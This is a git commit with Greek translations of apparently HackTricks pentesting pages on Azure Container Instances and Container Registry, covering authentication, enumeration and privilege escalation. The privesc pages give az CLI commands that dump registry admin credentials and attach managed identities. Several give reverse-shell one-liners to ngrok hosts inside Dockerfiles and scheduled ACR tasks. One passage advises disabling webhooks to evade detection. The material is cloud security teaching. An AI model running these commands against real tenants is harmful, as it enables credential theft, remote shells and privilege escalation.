Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-01-12 18:44:44 +00:00
parent 78ffe37202
commit a51d74609c
6 changed files with 389 additions and 4 deletions
+8 -4
View File
@@ -408,6 +408,8 @@
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-instances.md)
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md)
- [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
- [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
@@ -445,7 +447,7 @@
- [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
- [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-post-exploitation.md)
- [Az - CosmosDB](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md)
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
@@ -460,14 +462,16 @@
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md)
- [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-services/az-container-registry-privesc.md)
- [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-services/az-container-instances-privesc.md)
- [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md)
- [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md)
- [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
- [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md)
- [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md)
- [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md)
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md)
- [Az - MySQL Privesc](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md)
- [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md)
- [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md)
- [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md)
- [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md)
Binary file not shown.

After

Width:  |  Height:  |  Size: 33 KiB

@@ -0,0 +1,64 @@
# Az - Azure Container Instances Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Azure Container Instances
Για περισσότερες πληροφορίες ελέγξτε:
{{#ref}}
../az-services/az-container-instances.md
{{#endref}}
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
Αυτές οι άδειες επιτρέπουν στον χρήστη να **εκτελεί μια εντολή** σε ένα τρέχον κοντέινερ. Αυτό μπορεί να χρησιμοποιηθεί για **αναβάθμιση δικαιωμάτων** στο κοντέινερ αν έχει οποιαδήποτε διαχειριζόμενη ταυτότητα συνδεδεμένη. Φυσικά, είναι επίσης δυνατό να αποκτήσετε πρόσβαση στον πηγαίο κώδικα και σε οποιαδήποτε άλλη ευαίσθητη πληροφορία αποθηκευμένη μέσα στο κοντέινερ.
Για να εκτελέσετε ένα `ls` και να λάβετε την έξοδο είναι τόσο απλό όσο:
```bash
az container exec --name <container-name> --resource-group <res-group> --exec-command 'ls'
```
Είναι επίσης δυνατό να **διαβάσετε την έξοδο** του κοντέινερ με:
```bash
az container attach --name <container-name> --resource-group <res-group>
```
Ή αποκτήστε τα αρχεία καταγραφής με:
```bash
az container logs --name <container-name> --resource-group <res-group>
```
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Αυτές οι άδειες επιτρέπουν να **συνδεθεί μια ταυτότητα που διαχειρίζεται ο χρήστης** σε μια ομάδα κοντέινερ. Αυτό είναι πολύ χρήσιμο για την αναβάθμιση δικαιωμάτων στο κοντέινερ.
Για να συνδέσετε μια ταυτότητα που διαχειρίζεται ο χρήστης σε μια ομάδα κοντέινερ:
```bash
az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"
```
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Αυτές οι άδειες επιτρέπουν να **δημιουργηθεί ή να ενημερωθεί μια ομάδα κοντέινερ** με μια **ταυτότητα διαχειριζόμενη από χρήστη** συνδεδεμένη σε αυτήν. Αυτό είναι πολύ χρήσιμο για την κλιμάκωση δικαιωμάτων στο κοντέινερ.
```bash
az container create \
--resource-group <res-group>> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0
```
Επιπλέον, είναι επίσης δυνατή η ενημέρωση μιας υπάρχουσας ομάδας κοντέινερ προσθέτοντας για παράδειγμα το **`--command-line` επιχείρημα** με ένα reverse shell.
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,115 @@
# Az - Azure Container Registry Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Azure Container Registry
Για περισσότερες πληροφορίες ελέγξτε:
{{#ref}}
../az-services/az-container-registry.md
{{#endref}}
### `Microsoft.ContainerRegistry/registries/listCredentials/action`
Αυτή η άδεια επιτρέπει στον χρήστη να καταγράψει τα διαπιστευτήρια διαχειριστή του ACR. Αυτό είναι χρήσιμο για **να αποκτήσει πλήρη πρόσβαση** στο μητρώο.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
```
Σε περίπτωση που τα διαπιστευτήρια διαχειριστή δεν είναι ενεργοποιημένα, θα χρειαστείτε επίσης την άδεια `Microsoft.ContainerRegistry/registries/write` για να τα ενεργοποιήσετε με:
```bash
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
```
### `Microsoft.ContainerRegistry/registries/tokens/write`, `Microsoft.ContainerRegistry/registries/generateCredentials/action`
Αυτές οι άδειες επιτρέπουν στον χρήστη να **δημιουργήσει ένα νέο token** με κωδικούς πρόσβασης για πρόσβαση στο registry.
Για να χρησιμοποιήσετε το `az cli` για να το δημιουργήσετε όπως στο παρακάτω παράδειγμα, θα χρειαστείτε επίσης τις άδειες `Microsoft.ContainerRegistry/registries/read`, `Microsoft.ContainerRegistry/registries/scopeMaps/read`, `Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read`, `Microsoft.ContainerRegistry/registries/tokens/read`
```bash
az acr token create \
--registry <registry-name> \
--name <token-name> \
--scope-map _repositories_admin
```
### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action`, `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action`
Αυτές οι άδειες επιτρέπουν στον χρήστη να **κατασκευάσει και να εκτελέσει μια εικόνα** στο μητρώο. Αυτό μπορεί να χρησιμοποιηθεί για να **εκτελέσει κώδικα** στο κοντέινερ.
>[!WARNING]
> Ωστόσο, η εικόνα θα εκτελείται σε ένα **sandboxed περιβάλλον** και **χωρίς πρόσβαση στην υπηρεσία μεταδεδομένων**. Αυτό σημαίνει ότι το κοντέινερ δεν θα έχει πρόσβαση στα **μεταδεδομένα της παρουσίας**, οπότε αυτό δεν είναι πραγματικά χρήσιμο για την αναβάθμιση δικαιωμάτων.
```bash
# Build
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
```
### `Microsoft.ContainerRegistry/registries/tasks/write`
Αυτή είναι η κύρια άδεια που επιτρέπει τη δημιουργία και την ενημέρωση μιας εργασίας στο μητρώο. Αυτό μπορεί να χρησιμοποιηθεί για **να εκτελέσετε κώδικα μέσα σε ένα κοντέινερ με μια διαχειριζόμενη ταυτότητα συνδεδεμένη σε αυτό** στο κοντέινερ.
Αυτό είναι το παράδειγμα για το πώς να εκτελέσετε ένα reverse shell σε ένα κοντέινερ με την **διαχειριζόμενη** ταυτότητα συνδεδεμένη σε αυτό:
```bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
```
Ένας άλλος τρόπος για να αποκτήσετε RCE από μια εργασία χωρίς να χρησιμοποιήσετε εξωτερικό αποθετήριο είναι να χρησιμοποιήσετε την εντολή `az acr task create` με την επιλογή `--cmd`. Αυτό θα σας επιτρέψει να εκτελέσετε μια εντολή στο κοντέινερ. Για παράδειγμα, μπορείτε να εκτελέσετε ένα reverse shell με την παρακάτω εντολή:
```bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task-cmd \
--image rev/shell2:v1 \
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
--schedule "*/1 * * * *" \
--context /dev/null \
--commit-trigger-enabled false \
--assign-identity
```
> [!TIP]
> Σημειώστε ότι για να αναθέσετε την ταυτότητα που διαχειρίζεται το σύστημα δεν χρειάζεστε καμία ειδική άδεια, αν και πρέπει να έχει ενεργοποιηθεί προηγουμένως στο μητρώο και να έχει ανατεθεί κάποια άδεια για να είναι χρήσιμη.
Για να αναθέσετε μια **ταυτότητα που διαχειρίζεται από τον χρήστη επίσης** θα χρειαστείτε την άδεια `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` για να κάνετε:
```bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
```
Για να **ενημερώσετε** το αποθετήριο μιας υπάρχουσας εργασίας μπορείτε να κάνετε:
```bash
az acr task update \
--registry <registry-name> \
--name reverse-shell-task \
--context https://github.com/your-user/your-repo.git
```
### `Microsoft.ContainerRegistry/registries/importImage/action`
Με αυτή την άδεια είναι δυνατή η **εισαγωγή μιας εικόνας στο azure registry**, ακόμη και χωρίς να έχετε την εικόνα τοπικά. Ωστόσο, σημειώστε ότι **δεν μπορείτε να εισάγετε μια εικόνα με μια ετικέτα** που ήδη υπάρχει στο registry.
```bash
# Push with az cli
az acr import \
--name <registry-name> \
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
```
Για να **αφαιρέσετε ή να διαγράψετε μια συγκεκριμένη ετικέτα εικόνας** από το μητρώο, μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή. Ωστόσο, σημειώστε ότι θα χρειαστείτε έναν χρήστη ή ένα διακριτικό με **αρκετές άδειες** για να το κάνετε:
```bash
az acr repository untag \
--name <registry-name> \
--image <image-name>:<tag>
az acr repository delete \
--name <registry-name> \
--image <image-name>:<tag>
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,45 @@
# Az - Container Instances
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
Οι Azure Container Instances (ACI) παρέχουν έναν **serverless, on-demand τρόπο** για να τρέχετε **containers** στο Azure cloud. Μπορείτε να **deploy** έναν ή πολλούς containers σε μια ομάδα με **scalable compute**, **networking options**, και την ευελιξία να συνδεθείτε με **άλλες υπηρεσίες Azure** (όπως Storage, Virtual Networks, ή Container Registries).
Καθώς είναι **ephemeral** workloads, δεν χρειάζεται να διαχειρίζεστε την υποκείμενη υποδομή VM — το Azure το διαχειρίζεται για εσάς. Ωστόσο, από μια **offensive security perspective**, είναι κρίσιμο να κατανοήσετε πώς οι **permissions**, οι **identities**, οι **network configurations**, και τα **logs** μπορούν να αποκαλύψουν επιφάνειες επίθεσης και πιθανές κακοδιαμορφώσεις.
### Configurations
- Για να δημιουργήσετε έναν container, είναι δυνατόν να χρησιμοποιήσετε μια δημόσια εικόνα, μια εικόνα container από ένα Azure Container Registry ή ένα εξωτερικό αποθετήριο, το οποίο μπορεί να **απαιτεί να ρυθμίσετε έναν κωδικό πρόσβασης** για να έχετε πρόσβαση σε αυτό.
- Όσον αφορά το networking, μπορεί επίσης να έχει μια **δημόσια IP** ή να είναι **private endpoints**.
- Είναι επίσης δυνατόν να ρυθμίσετε κοινές ρυθμίσεις docker όπως:
- **Environment variables**
- **Volumes** (ακόμα και από Azure Files)
- **Ports**
- **CPU and memory limits**
- **Restart policy**
- **Run as privileged**
- **Command line to run**
- ...
## Enumeration
> [!WARNING]
> Όταν κάνετε enumeration ACI, μπορείτε να αποκαλύψετε ευαίσθητες ρυθμίσεις όπως **environment variables**, **network details**, ή **managed identities**. Να είστε προσεκτικοί με την καταγραφή ή την εμφάνισή τους.
```bash
# List all container instances in the subscription
az container list
# Show detailed information about a specific container instance
az container show --name <container-name> --resource-group <res-group>
# Fetch logs from a container
az container logs --name <container-name> --resource-group <res-group>
# Execute a command in a running container and get the output
az container exec --name <container-name> --resource-group <res-group> --exec-command "ls"
# Get yaml configuration of the container group
az container export --name <container-name> --resource-group <res-group>
```
@@ -0,0 +1,157 @@
# Az - Container Registry
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
Azure Container Registry (ACR) είναι ένα ασφαλές, ιδιωτικό μητρώο που σας επιτρέπει να **αποθηκεύετε, διαχειρίζεστε και έχετε πρόσβαση σε εικόνες κοντέινερ στο Azure cloud**. Ενσωματώνεται απρόσκοπτα με πολλές υπηρεσίες Azure, παρέχοντας αυτοματοποιημένες ροές εργασίας κατασκευής και ανάπτυξης σε κλίμακα. Με δυνατότητες όπως η γεωγραφική αναπαραγωγή και η σάρωση ευπαθειών, το ACR βοηθά στην εξασφάλιση ασφάλειας και συμμόρφωσης επιπέδου επιχείρησης για εφαρμογές κοντέινερ.
### Permissions
Αυτές είναι οι **διαφορετικές άδειες** [σύμφωνα με τα έγγραφα](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) που μπορούν να δοθούν σε ένα Container Registry:
- Πρόσβαση στον Resource Manager
- Δημιουργία/διαγραφή μητρώου
- Push εικόνας
- Pull εικόνας
- Διαγραφή δεδομένων εικόνας
- Αλλαγή πολιτικών
- Υπογραφή εικόνων
Υπάρχουν επίσης μερικοί **ενσωματωμένοι ρόλοι** που μπορούν να ανατεθούν, και είναι επίσης δυνατή η δημιουργία **προσαρμοσμένων ρόλων**.
![](</images/registry_roles.png>)
### Authentication
> [!WARNING]
> Είναι πολύ σημαντικό ότι ακόμη και αν το όνομα του μητρώου περιέχει μερικά κεφαλαία γράμματα, θα πρέπει πάντα να χρησιμοποιείτε **μικρά γράμματα** για να συνδεθείτε, να κάνετε push και pull εικόνες.
Υπάρχουν 4 τρόποι για να αυθεντικοποιηθείτε σε ένα ACR:
- **Με Entra ID**: Αυτός είναι ο **προεπιλεγμένος** τρόπος αυθεντικοποίησης σε ένα ACR. Χρησιμοποιεί την εντολή **`az acr login`** για να αυθεντικοποιηθεί στο ACR. Αυτή η εντολή θα **αποθηκεύσει τα διαπιστευτήρια** στο αρχείο **`~/.docker/config.json`**. Επιπλέον, αν εκτελείτε αυτή την εντολή από ένα περιβάλλον χωρίς πρόσβαση σε docker socket όπως σε ένα **cloud shell**, είναι δυνατή η χρήση της σημαίας **`--expose-token`** για να αποκτήσετε το **token** για να αυθεντικοποιηθείτε στο ACR. Στη συνέχεια, για να αυθεντικοποιηθείτε πρέπει να χρησιμοποιήσετε ως όνομα χρήστη `00000000-0000-0000-0000-000000000000` όπως: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **Με έναν λογαριασμό διαχειριστή**: Ο διαχειριστής χρήστη είναι απενεργοποιημένος από προεπιλογή αλλά μπορεί να ενεργοποιηθεί και στη συνέχεια θα είναι δυνατή η πρόσβαση στο μητρώο με το **όνομα χρήστη** και τον **κωδικό πρόσβασης** του λογαριασμού διαχειριστή με πλήρεις άδειες στο μητρώο. Αυτό υποστηρίζεται ακόμα γιατί ορισμένες υπηρεσίες Azure το χρησιμοποιούν. Σημειώστε ότι δημιουργούνται **2 κωδικοί πρόσβασης** για αυτόν τον χρήστη και οι δύο είναι έγκυροι. Μπορείτε να το ενεργοποιήσετε με `az acr update -n <acrName> --admin-enabled true`. Σημειώστε ότι το όνομα χρήστη είναι συνήθως το όνομα του μητρώου (και όχι `admin`).
- **Με ένα token**: Είναι δυνατή η δημιουργία ενός **token** με έναν **συγκεκριμένο `scope map`** (άδειες) για πρόσβαση στο μητρώο. Στη συνέχεια, είναι δυνατή η χρήση αυτού του ονόματος token ως όνομα χρήστη και κάποιου από τους παραγόμενους κωδικούς πρόσβασης για να αυθεντικοποιηθείτε στο μητρώο με `docker login -u <registry-name> -p <password> aregistry-url>`
- **Με έναν Service Principal**: Είναι δυνατή η δημιουργία ενός **service principal** και η ανάθεση ενός ρόλου όπως **`AcrPull`** για να κάνετε pull εικόνες. Στη συνέχεια, θα είναι δυνατή η **σύνδεση στο μητρώο** χρησιμοποιώντας το appId του SP ως όνομα χρήστη και ένα παραγόμενο μυστικό ως κωδικό πρόσβασης.
Παράδειγμα script από τα [έγγραφα](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) για τη δημιουργία ενός SP με πρόσβαση σε ένα μητρώο:
```bash
#!/bin/bash
ACR_NAME=$containerRegistry
SERVICE_PRINCIPAL_NAME=$servicePrincipal
# Obtain the full registry ID
ACR_REGISTRY_ID=$(az acr show --name $ACR_NAME --query "id" --output tsv)
PASSWORD=$(az ad sp create-for-rbac --name $SERVICE_PRINCIPAL_NAME --scopes $ACR_REGISTRY_ID --role acrpull --query "password" --output tsv)
USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].appId" --output tsv)
echo "Service principal ID: $USER_NAME"
echo "Service principal password: $PASSWORD"
```
### Κρυπτογράφηση
Μόνο το **Premium SKU** υποστηρίζει **κρυπτογράφηση σε κατάσταση αδράνειας** για τις εικόνες και άλλα αντικείμενα.
### Δικτύωση
Μόνο το **Premium SKU** υποστηρίζει **ιδιωτικά σημεία πρόσβασης**. Τα άλλα υποστηρίζουν μόνο **δημόσια πρόσβαση**. Ένα δημόσιο σημείο πρόσβασης έχει τη μορφή `<registry-name>.azurecr.io` και ένα ιδιωτικό σημείο πρόσβασης έχει τη μορφή `<registry-name>.privatelink.azurecr.io`. Για αυτόν τον λόγο, το όνομα του μητρώου πρέπει να είναι μοναδικό σε όλη την Azure.
### Microsoft Defender for Cloud
Αυτό σας επιτρέπει να **σκανάρετε τις εικόνες** στο μητρώο για **ευπάθειες**.
### Soft-delete
Η δυνατότητα **soft-delete** σας επιτρέπει να **ανακτήσετε ένα διαγραμμένο μητρώο** εντός του καθορισμένου αριθμού ημερών. Αυτή η δυνατότητα είναι **απενεργοποιημένη από προεπιλογή**.
### Webhooks
Είναι δυνατόν να **δημιουργήσετε webhooks** μέσα σε μητρώα. Σε αυτό το webhook είναι απαραίτητο να καθορίσετε τη διεύθυνση URL όπου θα αποσταλεί ένα **αίτημα κάθε φορά που εκτελείται μια ενέργεια push ή delete**. Επιπλέον, τα Webhooks μπορούν να υποδείξουν μια εμβέλεια για να υποδείξουν τα αποθετήρια (εικόνες) που θα επηρεαστούν. Για παράδειγμα, 'foo:*' σημαίνει γεγονότα κάτω από το αποθετήριο 'foo'.
Από την οπτική γωνία ενός επιτιθέμενου, είναι ενδιαφέρον να ελέγξετε αυτό **πριν εκτελέσετε οποιαδήποτε ενέργεια** στο μητρώο και να το αφαιρέσετε προσωρινά αν χρειαστεί, για να αποφευχθεί η ανίχνευση.
### Συνδεδεμένα μητρώα
Αυτό επιτρέπει βασικά να **αντιγράφετε τις εικόνες** από ένα μητρώο σε ένα άλλο, συνήθως τοποθετημένο τοπικά.
Έχει 2 λειτουργίες: **ReadOnly** και **ReadWrite**. Στην πρώτη, οι εικόνες **τραβιούνται** μόνο από το μητρώο προέλευσης, και στη δεύτερη, οι εικόνες μπορούν επίσης να **ωθηθούν** στο μητρώο προέλευσης.
Για να έχουν πρόσβαση οι πελάτες στο μητρώο από την Azure, δημιουργείται ένα **token** όταν χρησιμοποιείται το συνδεδεμένο μητρώο.
### Εκτελέσεις & Εργασίες
Οι Εκτελέσεις & Εργασίες επιτρέπουν την εκτέλεση σχετικών ενεργειών κοντέινερ στην Azure που συνήθως χρειάζεστε να κάνετε τοπικά ή σε μια CI/CD pipeline. Για παράδειγμα, μπορείτε να **κατασκευάσετε, να ωθήσετε και να εκτελέσετε εικόνες στο μητρώο**.
Ο ευκολότερος τρόπος για να κατασκευάσετε και να εκτελέσετε ένα κοντέινερ είναι χρησιμοποιώντας μια κανονική Εκτέλεση:
```bash
# Build
echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --file Dockerfile .
# Run
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
```
Ωστόσο, αυτό θα ενεργοποιήσει εκτελέσεις που δεν είναι πολύ ενδιαφέρουσες από την προοπτική ενός επιτιθέμενου, καθώς δεν έχουν καμία διαχειριζόμενη ταυτότητα συνδεδεμένη σε αυτές.
Ωστόσο, οι **εργασίες** μπορούν να έχουν μια **διαχειριζόμενη ταυτότητα συστήματος και χρήστη** συνδεδεμένη σε αυτές. Αυτές οι εργασίες είναι αυτές που είναι χρήσιμες για **την κλιμάκωση δικαιωμάτων** στο κοντέινερ. Στην ενότητα κλιμάκωσης δικαιωμάτων είναι δυνατόν να δούμε πώς να χρησιμοποιήσουμε τις εργασίες για να κλιμακώσουμε δικαιώματα.
### Cache
Η δυνατότητα cache επιτρέπει να **κατεβάσετε εικόνες από ένα εξωτερικό αποθετήριο** και να αποθηκεύσετε τις νέες εκδόσεις στο μητρώο. Απαιτεί να έχετε κάποιες **διαπιστεύσεις ρυθμισμένες** επιλέγοντας τις διαπιστεύσεις από ένα Azure Vault.
Αυτό είναι πολύ ενδιαφέρον από την προοπτική ενός επιτιθέμενου, καθώς επιτρέπει να **μεταβείτε σε μια εξωτερική πλατφόρμα** αν ο επιτιθέμενος έχει αρκετά δικαιώματα για να αποκτήσει πρόσβαση στις διαπιστεύσεις, **να κατεβάσει εικόνες από ένα εξωτερικό αποθετήριο** και η ρύθμιση μιας cache θα μπορούσε επίσης να χρησιμοποιηθεί ως **μηχανισμός επιμονής**.
## Enumeration
> [!WARNING]
> Είναι πολύ σημαντικό ότι ακόμη και αν το όνομα του μητρώου περιέχει μερικά κεφαλαία γράμματα, θα πρέπει να χρησιμοποιείτε μόνο πεζά γράμματα στη διεύθυνση URL για να έχετε πρόσβαση σε αυτό.
```bash
# List of all the registries
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
az acr list
# Get the details of a registry
az acr show --name <registry-name>
# List tokens of a registry
az acr token list --registry <registry-name> --resource-group <res-group>
# List repositories in a registry
az acr repository list --name <registry-name> --resource-group <res-group>
# List the tags of a repository
az acr repository show-tags --repository <repository-name> --name <registry-name> --resource-group <res-group>
# List deleted repository tags
## At the time of this writing there isn't yet any command to restore it
az acr repository list-deleted --name <registry-name>
# List tasks
## Check the git URL or the command
az acr task list --registry <registry-name>
# List tasks runs
az acr task list-runs --registry <registry-name>
# List connected registries
az acr connected-registry list --registry <registry-name>
# List cache
az acr cache list --registry <registry-name>
# Get cache details
az acr cache show --name <cache-name> --registry <registry-name>
```
## Ανάβαση Δικαιωμάτων & Μετά την Εκμετάλλευση
{{#ref}}
../az-privilege-escalation/az-automation-accounts-privesc.md
{{#endref}}
## Αναφορές
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)
{{#include ../../../../banners/hacktricks-training.md}}